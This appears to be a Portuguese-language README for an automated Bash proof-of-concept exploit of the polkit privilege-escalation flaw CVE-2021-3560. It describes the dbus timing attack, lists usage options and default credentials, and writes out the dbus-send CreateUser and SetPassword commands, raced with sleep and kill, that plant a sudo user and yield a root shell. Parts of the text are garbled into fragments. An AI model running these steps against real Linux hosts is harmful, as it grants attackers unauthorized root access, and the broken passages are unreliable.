
PoC automatizado em Bash para escalonamento de privilégios do polkit CVE-2021-3560. Explora ataque de timing do dbus para injetar um usuário sudo e obter shell root em distribuições Linux vulneráveis.
Este é apenas um script PoC em Bash, que automatiza as etapas de exploração mencionadas no blog de Kevin Backhouse. Leia o post dele sobre esta vulnerabilidade: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice e gnome-control-center e deve ter a versão polkit 0.113 (ou posterior) OU 0-105-26 (fork Debian do polkit).Ubuntu 20.04, com polkit versão 0-105-26 (fork Debian do polkit) e no Centos 8 com polkit versão 0.115. Se você tiver certeza de que seu alvo é vulnerável, mas a função de verificação do exploit falhar, use a flag -f=y para ignorar todas as verificações e forçar o exploit.Uma explicação abrangente e o PoC para explorar isso manualmente estão detalhados no blog do pesquisador.
Resumo deste exploit é fornecido abaixo:
polkit enviando uma mensagem dbus, mas fechando a requisição abruptamente, enquanto o polkit está processando a requisição. Então o atacante pode enviar uma segunda requisição com o identificador único de barramento da requisição anterior, para executar a requisição como UID 0, também conhecido como root.polkit, porque ele trata o UID de uma conexão com um identificador de barramento que não existe mais, como uma requisição do UID 0. Isso significa que, se conseguirmos temporizar o ataque corretamente e encerrar nossa primeira requisição no momento certo, então podemos fazer a segunda requisição com os privilégios do UID 0, também conhecido como root.Como eu disse antes, este é apenas um script bash que automatiza o PoC de Kevin Backhouse. Os comandos principais são os mesmos; apenas automatizei algumas etapas iniciais (como acertar a temporização, escanear por vulnerabilidade, inserir credenciais personalizadas, imprimir cores bonitas, etc.).
Se este script for executado sem nenhum parâmetro, o comportamento padrão é o seguinte:
/etc/os-release.]accountservice e gnome-control-center. [Em rhel/centos/fedora, usa rpm -qa e em distribuições debian/ubuntu, usa dpkg -l].rhel.centos,fedora e 0-105-26 para Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> com a senha fornecida ao script e, em seguida, digitar sudo bash para obter um shell root!Esc para fechar o prompt de autenticação e Ctrl+C para encerrar o script rapidamente.$t) é calculado dividindo o tempo necessário para a requisição por 2. ($t=tempo-necessário-para-requisição/2) [Calculado usando awk]$t) ser calculado, a requisição para inserir o $username secnigma no alvo é repetida 20 vezes. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], então um hash de senha é gerado [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!